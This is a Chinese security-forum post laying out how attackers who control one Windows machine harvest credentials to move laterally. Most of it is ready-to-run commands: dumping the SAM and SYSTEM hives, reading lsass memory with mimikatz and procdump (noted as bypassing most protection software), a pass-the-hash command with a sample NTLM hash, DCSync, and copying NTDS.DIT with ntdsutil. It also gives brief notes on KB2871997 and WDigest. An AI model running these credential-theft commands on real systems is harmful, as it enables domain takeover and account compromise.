请选择 进入手机版 | 继续访问电脑版
查看: 9300|回复: 0

内网横向移动-密码凭证获取总结(1)

[复制链接]
匿名
匿名  发表于 2021-12-8 11:41:02 |阅读模式
在内网渗透中,当攻击者攻陷内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等方法,访问其他机器,进一步扩大攻击范围。很多横向移动的方法都需要攻击者先获取域用户的密码或者Hash值才能进行,比如哈希传递攻击、各种票据传递等。本文对密码抓取的原理和常见的密码抓取方式进行总结,文章不足之处还请各位大佬指正。

1、本地用户凭据
在 Windows 系统里有⼀个 SAM 文件,里面存着所有本地用户的密码 hash,其全称叫做 "Security AccountManager"。SAM ⽂件默认存放于C:\Windows\System32\config⽬录下的 SAM ⽂件中

1.1 使用reg命令获取本地用户凭据hash:

需要管理员权限
  1. reg save HKLM\SYSTEM Sys.hiv
  2. reg save HKLM\SAM Sam.hiv
复制代码


然后将这两个文件回传到本地使用mimikatz 抓取密码hash
mimikatz下载地址:https://github.com/gentilkiwi/mimikatz
[AppleScript] 纯文本查看 复制代码
mimikatz "lsadump::sam /sam:Sam.hiv /system:Sys.hiv" exit

也可以直接使用mimikatz读取本地SAM文件,获得密码Hash
[AppleScript] 纯文本查看 复制代码
privilege::debug
token::elevate
lsadump::sam

QQ截图20211208112859.jpg

1.2 直接使用mimikatz从lsass.exe中获取密码:

lsass进程里面存放了我们登陆的账号密码等信息,lsass进程就会记录登陆凭证,我们可以通过 lsass获取到机器的明⽂密码等hash信息。
把 mimikatz 上传到目标机器后(有杀软时要考虑对mimikatz进行免杀),执行如下命令抓取内存中的明⽂密码和hash:
[AppleScript] 纯文本查看 复制代码
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"

QQ截图20211208112944.jpg

1.3 通过Procdump获取lsass抓内存中的明文密码:

Procdump 是微软官方发布的⼯具,使⽤该⼯具可以把 lsass 的内存 dump下来,可以绕过⼤多数的防护软件。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/

[AppleScript] 纯文本查看 复制代码
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

[AppleScript] 纯文本查看 复制代码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

QQ截图20211208113032.jpg
QQ截图20211208113040.jpg

但是在安装了KB2871997补丁或者系统版本大于win10或windows server 2012时,默认在内存缓存中禁止保存明文密码,这样利用mimikatz就不能从内存中读出明文密码了。
kb2871997补丁会删除除了wdigest以外其他ssp的明文凭据,但对于wdigest只能选择禁用。
KB2871997更改点:
1、 支持“ProtectedUsers”组;
2、 Restricted Admin RDP模式的远程桌面客户端支持;
3、 注销后删除LSASS中的凭据;
4、 添加两个新的SID;
5、 LSASS中只允许wdigest存储明文密码。


LSASS会存储用户的明文密码,这个更新只允许WDigest在LSASS中存储明文密码。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
如果UseLogonCredential值设置为0,则WDigest不会将凭据存储在内存中
如果UseLogonCredential值设置为1,WDigest将在内存中存储凭据


tips:NTML Hash 解密 与 PTH(哈希传递)

通过拿到密码 hash 我们就可以去 CMD5 或使用一些解密工具进行解密,如果解密失败但为域内管理员权限的NTML Hash也可以考虑使用PTH(hash传递)来进行攻击

NTML Hash解密工具:

ophcrack(https://ophcrack.sourceforge.io/)
Hashcat(https://hashcat.net/hashcat/)等

使用mimikatz进行hash传递:

使⽤哈希传递的时候需要⽤管理员权限运行 mimikatz ,我们已经获取了域管理员组内⽤户的NTLM哈希值。我们可以使⽤域内的⼀台主机⽤mimikatz对域内任何⼀台机器(包括域控)进⾏哈希传递攻击。
[AppleScript] 纯文本查看 复制代码
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:. /ntlm:518b98ad4178a53695dc997aa02d455c"


2、域Hash
在域内Hash是存在NTDS.DIT中的, NTDS.DIT是一个二进制文件,就等同于本地计算机的SAM文件,它的存放位置是%SystemRoot%\ntds\NTDS.DIT 。这里面包含的不只是Username和HASH,还有OU、Group等信息。
当拿到域控权限时,可以从域控中的C:\Windows\NTDS\NTDS.dit导出所有用户hash。因为NTDS.DIT被占用,所以即使拥有管理员权限,也⽆法读取域控制器中的 C:\Windows\NTDS\NTDS.DIT ⽂件。
我们可以使⽤ Windows 本地卷影拷⻉服务,就可以获得⽂件的副本因此需要利用如卷影备份等手段copy出NTDS.DIT

2.1 利用Mimikatz导出NTDS.DIT

Mimikatz有一个功能为 dcsync ,即利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值。它可以从域管理员环境中属于域的任意系统执行。
lsadump::dcsync /domain:pentestlab.local /all /csv
lsadump::dcsync /domain:pentestlab.local /user:test #指定test用户

QQ截图20211208113429.jpg

2.2 通过 ntdsutil.exe 提取NTDS.DIT文件

ntdsutil 是⼀个为活动目录提供管理机制的命令行工具,其主要用途是使管理员能够轻松访问和管理Windows Active Directory数据库。
工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内主机在域控制器上远程操作。

使用方法:在域控制器的命令行环境下输⼊如下命令,创建⼀个快照,该快照包含 Windows 中的所有文件,且在复制⽂件时不会受到 Windows 锁定机制的限制。
[AppleScript] 纯文本查看 复制代码
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit


QQ截图20211208114002.jpg

它将生成两个新文件夹:Active Directory和Registry。NTDS.DIT文件将被保存到Active Directory中,而SAM和SYSTEM文件则将被保存到Registry文件夹中。
QQ截图20211208114040.jpg
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

GMT+8, 2024-3-29 04:35 , Processed in 0.048426 second(s), 15 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部